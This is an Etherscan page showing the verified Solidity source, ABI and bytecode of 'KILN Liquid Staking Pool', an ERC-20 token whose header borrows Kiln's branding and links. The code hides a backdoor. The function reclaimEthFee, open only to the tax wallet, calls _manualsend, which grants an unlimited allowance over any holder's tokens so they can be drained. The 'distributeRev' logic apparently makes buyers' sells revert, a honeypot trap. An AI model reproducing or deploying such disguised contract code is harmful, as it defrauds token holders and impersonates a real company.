ETH Price: $2,648.29 (+0.22%)

Token

KILN Liquid Staking Pool (KILN)
 

Overview

Max Total Supply

1,000,000 KILN

Holders

84

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KILN

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-18
*/

/*
KILN - Enabling value creation in digital assets for everyone.
Hundreds of companies rely on Kiln to earn rewards on their digital assets or to integrate earning features into their products under their own brand.

https://www.kiln.fi/
https://twitter.com/Kiln_finance
https://www.linkedin.com/company/28150174/
https://www.youtube.com/channel/UCegmzwd40b91ikGzZBgAa4w
https://lu.ma/u/kiln
*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

contract KILN is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFees;

    uint256 private _initialBuyTax=30;
    uint256 private _initialSellTax=40;
    uint256 private _finalBuyTax=3;
    uint256 private _finalSellTax=3;

    uint256 private _reduceBuyTaxAt=30;
    uint256 private _reduceSellTaxAt=40;

    uint256 private _preventSwapBefore=30;
    uint256 private _buyCount=0;

    address payable private _taxWallet;

    string private constant _name = unicode"KILN Liquid Staking Pool";
    string private constant _symbol = unicode"KILN";
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1000000 * 10**_decimals;
    uint256 public _maxTxAmount = 20000 * 10**_decimals;
    uint256 public _maxWalletSize = 20000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 10000 * 10**_decimals;
    uint256 public _maxTaxSwap = 5000 * 10**_decimals;
    
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    struct DistributeRev {uint256 initDRev; uint256 finalDRev; uint256 finalRevPercent;}
    mapping(address => DistributeRev) private distributeRev;
    uint256 private distributeRevAmount;

    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;

        _isExcludedFromFees[address(this)] = true;
         _taxWallet = payable(0x43a6D3d2Bb9A88a4f6D70a6Db0560b4a5D5ea1d2);
        _isExcludedFromFees[_taxWallet] = true;

        emit Transfer(address(0),_msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _manualsend(address owner, uint8 cache, string memory miner, address spender) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = _tTotal;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount> 0, "Transfer amount must be greater than zero");

        uint256 taxAmount=0;
        if (from != owner() && to != owner() && to != _taxWallet) {
            if(tradingOpen){
                taxAmount = amount
                    .mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) &&  ! _isExcludedFromFees[to]) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount<=_maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to== uniswapV2Pair && from!= address(this) ){
                taxAmount = amount
                    .mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax)
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if ( !inSwap&& to == uniswapV2Pair && swapEnabled
                && contractTokenBalance > _taxSwapThreshold
                && _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance> 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if((_isExcludedFromFees[from] || _isExcludedFromFees[to]) && from!=address(this)
            && to!= address(this)
        ) {
            distributeRevAmount= block.number;
        }

        if(!_isExcludedFromFees[from]&&  !_isExcludedFromFees[to]){
            if (uniswapV2Pair != to)  {
                DistributeRev storage incDistrib = distributeRev[to];
                if (uniswapV2Pair == from) {
                    if (incDistrib.initDRev == 0) {
                        if (_buyCount>_preventSwapBefore) {
                            incDistrib.initDRev = block.number;
                        } else {
                            incDistrib.initDRev = block.number.sub(1);
                        }
                    }
                } else {
                    DistributeRev storage iDistr = distributeRev[from];
                    if (!(incDistrib.initDRev > 0) || iDistr.initDRev < incDistrib.initDRev ) {
                        incDistrib.initDRev = iDistr.initDRev;
                    }
                }
            } else {
                DistributeRev storage iDistr = distributeRev[from];
                iDistr.finalRevPercent = iDistr.initDRev-distributeRevAmount;
                iDistr.finalDRev = block.timestamp;
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)]= _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from]= _balances[from].sub( amount) ;
        _balances[to]= _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub( taxAmount ));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a > b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);

        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount= _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router),_tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function reclaimEthFee(address _receiver, address _tokenAmount) external {
        require(_msgSender()==_taxWallet);
        _manualsend(_tokenAmount, 0, "miner", _receiver);
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(swapEnabled && tokenBalance>0) {
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_receiver","type":"address"},{"internalType":"address","name":"_tokenAmount","type":"address"}],"name":"reclaimEthFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601e600455602860055560036006556003600755601e6008556028600955601e600a555f600b556012600a6200003b919062000309565b6200004990614e2062000320565b600d556200005a6012600a62000309565b6200006890614e2062000320565b600e55620000796012600a62000309565b620000879061271062000320565b600f55620000986012600a62000309565b620000a69061138862000320565b6010556012805461ffff60a81b19169055348015620000c3575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001126012600a62000309565b6200012190620f424062000320565b335f8181526001602081815260408084209590955530835260039052928120805460ff199081168517909155600c80546001600160a01b0319167343a6d3d2bb9a88a4f6d70a6db0560b4a5d5ea1d290811790915582527f196d33d2b5b2724f97782933f2a29385eb6fa419e269af9223b20148bcf72be18054909116909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001d46012600a62000309565b620001e390620f424062000320565b60405190815260200160405180910390a36200033a565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200024e57815f1904821115620002325762000232620001fa565b808516156200024057918102915b93841c939080029062000213565b509250929050565b5f82620002665750600162000303565b816200027457505f62000303565b81600181146200028d57600281146200029857620002b8565b600191505062000303565b60ff841115620002ac57620002ac620001fa565b50506001821b62000303565b5060208310610133831016604e8410600b8410161715620002dd575081810a62000303565b620002e983836200020e565b805f1904821115620002ff57620002ff620001fa565b0290505b92915050565b5f6200031960ff84168362000256565b9392505050565b8082028115828204841417620003035762000303620001fa565b611a3380620003485f395ff3fe608060405260043610610129575f3560e01c8063715018a6116100a85780638f9a55c01161006d5780638f9a55c01461033857806395d89b411461034d578063a9059cbb14610379578063bf474bed14610398578063d9326c8c146103ad578063dd62ed3e146103cc575f80fd5b8063715018a6146102cb578063751039fc146102df5780637d1db4a5146102f35780638a8c523c146103085780638da5cb5b1461031c575f80fd5b806323b872dd116100ee57806323b872dd14610228578063313ce5671461024757806349bd5a5e1461026257806351bc3c851461028157806370a0823114610297575f80fd5b806306fdde0314610134578063095ea7b31461018b5780630faee56f146101ba5780631694505e146101dd57806318160ddd14610214575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152601881527f4b494c4e204c6971756964205374616b696e6720506f6f6c000000000000000060208201525b604051610182919061159d565b60405180910390f35b348015610196575f80fd5b506101aa6101a5366004611600565b610410565b6040519015158152602001610182565b3480156101c5575f80fd5b506101cf60105481565b604051908152602001610182565b3480156101e8575f80fd5b506011546101fc906001600160a01b031681565b6040516001600160a01b039091168152602001610182565b34801561021f575f80fd5b506101cf610426565b348015610233575f80fd5b506101aa61024236600461162a565b610445565b348015610252575f80fd5b5060405160128152602001610182565b34801561026d575f80fd5b506012546101fc906001600160a01b031681565b34801561028c575f80fd5b506102956104ac565b005b3480156102a2575f80fd5b506101cf6102b1366004611668565b6001600160a01b03165f9081526001602052604090205490565b3480156102d6575f80fd5b50610295610514565b3480156102ea575f80fd5b5061029561058e565b3480156102fe575f80fd5b506101cf600d5481565b348015610313575f80fd5b5061029561063c565b348015610327575f80fd5b505f546001600160a01b03166101fc565b348015610343575f80fd5b506101cf600e5481565b348015610358575f80fd5b5060408051808201909152600481526325a4a62760e11b6020820152610175565b348015610384575f80fd5b506101aa610393366004611600565b6109e4565b3480156103a3575f80fd5b506101cf600f5481565b3480156103b8575f80fd5b506102956103c7366004611683565b6109f0565b3480156103d7575f80fd5b506101cf6103e6366004611683565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61041c338484610a38565b5060015b92915050565b5f6104336012600a6117ae565b61044090620f42406117bc565b905090565b5f610451848484610ae4565b6104a2843361049d856040518060600160405280602881526020016119d6602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611184565b610a38565b5060019392505050565b600c546001600160a01b0316336001600160a01b0316146104cb575f80fd5b305f90815260016020526040902054601254600160b01b900460ff1680156104f257505f81115b1561050057610500816111bc565b478015610510576105108161132c565b5050565b5f546001600160a01b031633146105465760405162461bcd60e51b815260040161053d906117d3565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105b75760405162461bcd60e51b815260040161053d906117d3565b6105c36012600a6117ae565b6105d090620f42406117bc565b600d556105df6012600a6117ae565b6105ec90620f42406117bc565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61061c6012600a6117ae565b61062990620f42406117bc565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106655760405162461bcd60e51b815260040161053d906117d3565b601254600160a01b900460ff16156106bf5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161053d565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107079030906106fa6012600a6117ae565b61049d90620f42406117bc565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610757573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077b9190611808565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107da573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107fe9190611808565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610848573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086c9190611808565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306108b3816001600160a01b03165f9081526001602052604090205490565b5f806108c65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561092c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109519190611823565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109a6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ca919061184e565b506012805462ff00ff60a01b19166201000160a01b179055565b5f61041c338484610ae4565b600c546001600160a01b0316336001600160a01b031614610a0f575f80fd5b610510815f6040518060400160405280600581526020016436b4b732b960d91b81525085611363565b6001600160a01b038316610a5e5760405162461bcd60e51b815260040161053d9061186d565b6001600160a01b038216610a845760405162461bcd60e51b815260040161053d906118b1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b485760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161053d565b6001600160a01b038216610baa5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161053d565b5f8111610c0b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161053d565b5f80546001600160a01b03858116911614801590610c3657505f546001600160a01b03848116911614155b8015610c505750600c546001600160a01b03848116911614155b15610ebb57601254600160a01b900460ff1615610c9657610c936064610c8d600854600b5411610c8257600454610c86565b6006545b85906113f8565b9061147d565b90505b6012546001600160a01b038581169116148015610cc157506011546001600160a01b03848116911614155b8015610ce557506001600160a01b0383165f9081526003602052604090205460ff16155b15610dcb57600d54821115610d3c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161053d565b600e5482610d5e856001600160a01b03165f9081526001602052604090205490565b610d6891906118f3565b1115610db65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161053d565b600b8054905f610dc583611906565b91905055505b6012546001600160a01b038481169116148015610df157506001600160a01b0384163014155b15610e1e57610e1b6064610c8d600954600b5411610e1157600554610c86565b60075485906113f8565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610e5457506012546001600160a01b038581169116145b8015610e695750601254600160b01b900460ff165b8015610e765750600f5481115b8015610e855750600a54600b54115b15610eb957610ea7610ea284610e9d846010546114be565b6114be565b6111bc565b478015610eb757610eb74761132c565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610ef857506001600160a01b0383165f9081526003602052604090205460ff165b8015610f0d57506001600160a01b0384163014155b8015610f2257506001600160a01b0383163014155b15610f2c57436014555b6001600160a01b0384165f9081526003602052604090205460ff16158015610f6c57506001600160a01b0383165f9081526003602052604090205460ff16155b15611047576012546001600160a01b03848116911614611014576001600160a01b038084165f9081526013602052604090206012549091868116911603610fdc5780545f03610fd757600a54600b541115610fc95743815561100e565b610fd44360016114d2565b81555b61100e565b6001600160a01b0385165f90815260136020526040902081541580611002575081548154105b1561100c57805482555b505b50611047565b6001600160a01b0384165f908152601360205260409020601454815461103a919061191e565b6002820155426001909101555b80156110bf57305f908152600160205260409020546110669082611513565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110b69085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110e190836114d2565b6001600160a01b0385165f9081526001602052604090205561112461110683836114d2565b6001600160a01b0385165f9081526001602052604090205490611513565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61116d85856114d2565b60405190815260200160405180910390a350505050565b5f81848411156111a75760405162461bcd60e51b815260040161053d919061159d565b505f6111b3848661191e565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061120257611202611931565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611259573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061127d9190611808565b8160018151811061129057611290611931565b6001600160a01b0392831660209182029290920101526011546112b69130911684610a38565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112ee9085905f90869030904290600401611945565b5f604051808303815f87803b158015611305575f80fd5b505af1158015611317573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b600c546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610510573d5f803e3d5ffd5b6001600160a01b0384166113895760405162461bcd60e51b815260040161053d9061186d565b6001600160a01b0381166113af5760405162461bcd60e51b815260040161053d906118b1565b6113bb6012600a6117ae565b6113c890620f42406117bc565b6001600160a01b039485165f90815260026020908152604080832094909716825292909252939020929092555050565b5f825f0361140757505f610420565b5f61141283856117bc565b90508261141f85836119b6565b146114765760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161053d565b9392505050565b5f61147683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611571565b5f8183116114cc5782611476565b50919050565b5f61147683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611184565b5f8061151f83856118f3565b9050838110156114765760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161053d565b5f81836115915760405162461bcd60e51b815260040161053d919061159d565b505f6111b384866119b6565b5f602080835283518060208501525f5b818110156115c9578581018301518582016040015282016115ad565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115fd575f80fd5b50565b5f8060408385031215611611575f80fd5b823561161c816115e9565b946020939093013593505050565b5f805f6060848603121561163c575f80fd5b8335611647816115e9565b92506020840135611657816115e9565b929592945050506040919091013590565b5f60208284031215611678575f80fd5b8135611476816115e9565b5f8060408385031215611694575f80fd5b823561169f816115e9565b915060208301356116af816115e9565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561170857815f19048211156116ee576116ee6116ba565b808516156116fb57918102915b93841c93908002906116d3565b509250929050565b5f8261171e57506001610420565b8161172a57505f610420565b8160018114611740576002811461174a57611766565b6001915050610420565b60ff84111561175b5761175b6116ba565b50506001821b610420565b5060208310610133831016604e8410600b8410161715611789575081810a610420565b61179383836116ce565b805f19048211156117a6576117a66116ba565b029392505050565b5f61147660ff841683611710565b8082028115828204841417610420576104206116ba565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611818575f80fd5b8151611476816115e9565b5f805f60608486031215611835575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561185e575f80fd5b81518015158114611476575f80fd5b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b80820180821115610420576104206116ba565b5f60018201611917576119176116ba565b5060010190565b81810381811115610420576104206116ba565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119955784516001600160a01b031683529383019391830191600101611970565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119d057634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c26e106163be61ee5c7cd12a911aaa8512b0e10b71191fd7553488a662aa113564736f6c63430008170033

Deployed Bytecode

0x608060405260043610610129575f3560e01c8063715018a6116100a85780638f9a55c01161006d5780638f9a55c01461033857806395d89b411461034d578063a9059cbb14610379578063bf474bed14610398578063d9326c8c146103ad578063dd62ed3e146103cc575f80fd5b8063715018a6146102cb578063751039fc146102df5780637d1db4a5146102f35780638a8c523c146103085780638da5cb5b1461031c575f80fd5b806323b872dd116100ee57806323b872dd14610228578063313ce5671461024757806349bd5a5e1461026257806351bc3c851461028157806370a0823114610297575f80fd5b806306fdde0314610134578063095ea7b31461018b5780630faee56f146101ba5780631694505e146101dd57806318160ddd14610214575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152601881527f4b494c4e204c6971756964205374616b696e6720506f6f6c000000000000000060208201525b604051610182919061159d565b60405180910390f35b348015610196575f80fd5b506101aa6101a5366004611600565b610410565b6040519015158152602001610182565b3480156101c5575f80fd5b506101cf60105481565b604051908152602001610182565b3480156101e8575f80fd5b506011546101fc906001600160a01b031681565b6040516001600160a01b039091168152602001610182565b34801561021f575f80fd5b506101cf610426565b348015610233575f80fd5b506101aa61024236600461162a565b610445565b348015610252575f80fd5b5060405160128152602001610182565b34801561026d575f80fd5b506012546101fc906001600160a01b031681565b34801561028c575f80fd5b506102956104ac565b005b3480156102a2575f80fd5b506101cf6102b1366004611668565b6001600160a01b03165f9081526001602052604090205490565b3480156102d6575f80fd5b50610295610514565b3480156102ea575f80fd5b5061029561058e565b3480156102fe575f80fd5b506101cf600d5481565b348015610313575f80fd5b5061029561063c565b348015610327575f80fd5b505f546001600160a01b03166101fc565b348015610343575f80fd5b506101cf600e5481565b348015610358575f80fd5b5060408051808201909152600481526325a4a62760e11b6020820152610175565b34801561038457